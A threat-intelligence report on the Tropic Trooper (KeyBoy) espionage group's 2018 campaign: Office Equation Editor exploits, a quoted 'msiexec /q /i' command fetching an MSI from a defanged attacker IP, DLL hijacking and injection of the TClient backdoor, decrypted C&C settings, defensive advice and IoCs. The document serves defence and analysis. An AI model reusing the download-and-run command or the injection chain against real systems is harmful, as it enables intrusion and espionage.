Tropic Trooper's New Strategy

Published: 2018-03-14 · Archived: 2026-04-02 11:10:04 UTC

Tropic Troopernews article (also known as KeyBoy) levels its campaigns against Taiwanese, Philippine, and Hong Kong targets, focusing on their government, healthcare, transportation, and high-tech industries. Its operators are believed to be very organized and develop their own cyberespionage tools that they fine-tuned in their recent campaigns. Many of the tools they use now feature new behaviors, including a change in the way they maintain a foothold in the targeted network.

Attack Chain

 Figure 1. Attack chain of Tropic Trooper's operations

Here's a summary of the attack chain of Tropic Trooper's recent campaigns:

1. Execute a command through exploits for CVE-2017-11882 or CVE-2018-0802, security flaws in Microsoft Office's Equation Editor (EQNEDT32.EXE).
2. Download an installer package (.msi) and install it on the system by executing the command: */c msiexec /q /i [hxxp://61[.]216[.]5[.]24/in.sys])*.
3. This system configuration file (in.sys) will drop a backdoor installer (*UserInstall.exe*) then delete itself. The backdoor installer will drop a normal *sidebar.exe file* (a Windows Gadget tool, a feature already discontinued by Windows), a malicious loader (in *"C:\ProgramData\Apple\Update\wab32res.dll*"), and an encrypted configuration file. *UserInstall.exe* will abuse the BITSadmin command-line tool to create a job and launch *sidebar.exe*.
4. The malicious loader will use dynamic-link library (DLL) hijacking — injecting malicious code into a process of a file/application — on *sidebar.exe* and launch *dllhost.exe* (a normal file). The loader will then inject a DLL backdoor into *dllhost.exe*.

We also observed malicious documents that don't need to download anything from the internet as the backdoor's dropper is already embedded in the document. This, however, doesn't influence the overall result for the victim.

The backdoor will load the encrypted configuration file and decrypt it, then use Secure Sockets Layer (SSL) protocol to connect to command-and-control (C&C) servers.

Tropic Trooper uses exploit-laden Microsoft Office documents to deliver malware to targets. These documents use job vacancies in organizations that may be deemed socio-politically sensitive to recipients. Below is a screenshot of the document used in their latest campaigns:

 Figure 2. Malicious document used by Tropic Trooper

PDB Strings as Context Clues

The MSI file has two program database (PDB) strings inside: one belonging to the MSI file, and another for the backdoor installer (detected by Trend Micro as TROJ_TCDROP.ZTFB).

 Figure 3. PDB strings inside the MSI file

The first PDB string has a certain *ss2/Projects/MsiWrapper* (Project MsiWrapper) in it, which we found to be an open-source application that converts executable setup programs to MSI files. The second PDB string contains Work, House, and TSSL: we can assume this tool belongs to Tropic Trooper's TSSL project as seen by other researchers. Here it is a new one, as seen in their misspelling of "Horse" to "House" (other reports had the string typed correctly).

Another interesting PDB string we found is - *D:\Work\Project\VS\house\Apple\Apple_20180115\Release\InstallClient.pdb*. At installation, the MSI file drops three files and creates one hidden directory (UFile) into *C:\ProgramData\Apple\Update*, likely as a ruse.

It would then use *sidebar.exe* to load the malicious *wab32res.dll* (TROJ_TCLT.ZDFB) through DLL hijacking. This is carried out to evade antivirus (AV) detection, because *wab32res.dll* is loaded by a benign file.

 Figure 4. The installer drops three files into the Apple/Update directory

 Figure 5. PDB strings inside the loader file

From the PDB string above, the attackers intended it to be a loader (hence the name *FakeRun*) and not the actual backdoor. FakeRun's PDB string (*D:\Work\Project\VS\house\Apple\Apple_20180115\Release\FakeRun.pdb*) indicates the loader will execute *dllhost.exe* and inject one malicious DLL file, which is the backdoor, into this process. The backdoor, TClient (BKDR_TCLT.ZDFB), is so named from its own PDB string.

 Figure 6. TClient is injected into dllhost.exe

Malware Analysis

wab32res.dll (FakeRun loader) loads TClient. Once the loader is executed, it will check the current process (*sidebar.exe*) whether to load it or not. Successfully checking the loader will execute the *dllhost.exe* process and create a hardcode mutex to avoid injecting it into the wrong *dllhost.exe*, as there can be multiple instances of it depending on the number of programs using the Internet Information Services.

 Figure 7. The loader checking the sidebar process

 Figure 8. The malicious loader injecting the backdoor into dllhost.exe

 Figure 9. Comparison of TClient's configuration format in 2016 (left, from other researchers) and 2018 (right)

TClient will use SSL to connect to Tropic Trooper's C&C server. However, the C&C server and some configuration values are not hardcoded in the backdoor. This allows Tropic Trooper's operators to easily change/update the C&C server and configure other values.

TClient is actually one of Tropic Trooper's other backdoors. The backdoor noted by other security researchers was encoded with different algorithms and configured with different parameter names in 2016, for instance. TClient

uses symmetric encryption to decrypt its configuration with one 16-byte key in 2018. The image and table below illustrate TClient's encrypted configuration that we decrypted (via Python code):

Figure 10. Snapshot of code we used to decrypt TClient's configuration

 Figure 11. Encrypted backdoor configuration

Description	Decryption Strings
Check code	MDDEFGEGETGIZ
Addr1:	tel.qpoe[.]com
Addr2:	elderscrolls.wikaba[.]com
Addr3:	tel.qpoe[.]com
Port1:	443
Port2:	443
Port3:	53
LoginPasswd:	someone
HostMark:	mark
Proxy:	0

Figure 12. Decrypted backdoor configuration

Reverse analysis of TClient allowed us to determine how to decrypt the C&C information. TClient will use custom SSL libraries to connect the C&C server. We also found another SSL certificate on this C&C server. A closer look reveals that it was registered quite recently, and is set to expire after a year, suggesting Tropic Trooper's use or abuse of components or services that elapse so they can leave as few traces as possible.

 Figure 13. SSL certificate's validity

Following Tropic Trooper's Trails

We further monitored their activities and found three additional and notable PDB strings in their malware:

- D:\Work\Project\VS\HSSL\HSSL_Unicode _2\Release\ServiceClient.pdb
- D:\Work\VS\Horse\TSSL\TSSL_v3.0\TClient\Release\TClient.pdb
- D:\Work\VS\Horse\TSSL\TSSL_v0.3.1_20170722\TClient\x64\Release\TClient.pdb

These came from open-intelligence platforms and incident response cases. These strings shed further light on Tropic Trooper's operations:

- They have another campaign/project named HSSL, which supports Unicode characters.
- The TSSL project has a v3.0 version, indicating the operators can mix and match different versions of their malware, depending on their target.
- The TSSL project has 64-bit version.

The Need for a Proactive Incident Response Strategy

Cyberespionage campaigns are persistent and, as shown by Tropic Trooper, always raring to exploit weaknesses in people and technology. For organizations, this highlights the significance of staying ahead of their attackers: detect, analyze, and respond. What techniques will they use? How can my organization's attack surface be reduced? What did I do to respond to the threat — what worked, what didn't, and what could be fine-tuned?

A proactive incident response strategy provides threat intelligence — from the endpoint to the network — that can let IT/system administrators identify malicious activities that aren't typically visible to traditional security solutions.

TClient, for instance, uses DLL hijacking and injection that may not be as noticeable to others. Its use of the SSL protocol also means it can blend with legitimate traffic. Analyzing their PDB strings can also provide a deeper insight into the campaign's bigger picture. Ascertaining the tactics and techniques they use empower organizations in developing robust and actionable indicators of compromise (IoCs) that can act as benchmarks for response.

Here are some best practices that organizations can adopt:

- Keep the system, its applications, and the network updated. The vulnerabilities that Tropic Trooper's campaigns have been patched last January, for instance. Enforce a stronger patch managementnews article policy, and consider virtual patching for legacy systems.
- Enforce the principle of least privilege: Employ network segmentationnews article and data categorizationnews article to deter lateral movement and mitigate further exposure. Application control and behavior monitoring block suspicious files and anomalous routines from being installed or executed in the system.
- Disable or secure the use of system administration toolsnews- cybercrime-and-digital-threats such as PowerShellnews article and other command-line toolsnews article that may be abused.
- Actively monitor your perimeter, from gateways and endpoints to networks and servers. Firewalls as well as intrusion detection and prevention systemsproducts help thwart network-based attacks.
- Nurture a culture of cybersecurity. Spear-phishing emails, for instance, rely on baiting targets with socially engineered documents. The technologies that help protect the organization are only as good as the people who use them.

Indicators of Compromise (IoCs)

Related Hashes (SHA-256): Detected as CVE-2018-0802.ZTFC:

- 1d128fd61c2c121d9f2e1628630833172427e5d486cdd4b6d567b7bdac13935e

BKDR_TCLT.ZDFB:

- 01087051f41df7bb030256c97497f69bc5b5551829da81b8db3f46ba622d8a69

BKDR64_TCLT.ZTFB:

- 6e900e5b6dc4f21a004c5b5908c81f055db0d7026b3c5e105708586f85d3e334

TROJ_SCLT.ZTFB:

- 49df4fec76a0ffaee5e4d933a734126c1a7b32d1c9cb5ab22a868e8bfc653245

TROJ_TCDROP.ZTFB:

- b0f120b11f727f197353bc2c98d606ed08a06f14a1c012d3db6fe0a812df528a
- d65f809f7684b28a6fa2d9397582f350318027999be3acf1241ff44d4df36a3a
- 85d32cb3ae046a38254b953a00b37bb87047ec435edb0ce359a867447ee30f8b

TROJ_TCLT.ZDFB:

- 02281e26e89b61d84e2df66a0eeb729c5babd94607b1422505cd388843dd5456
- fb9c9cbf6925de8c7b6ce8e7a8d5290e628be0b82a58f3e968426c0f734f38f6

URLs related to C&C communication:

- qpoe[.]com
- wikaba[.]com
- tibetnews[.]today
- dns-stuff[.]com
- 2waky[.]com
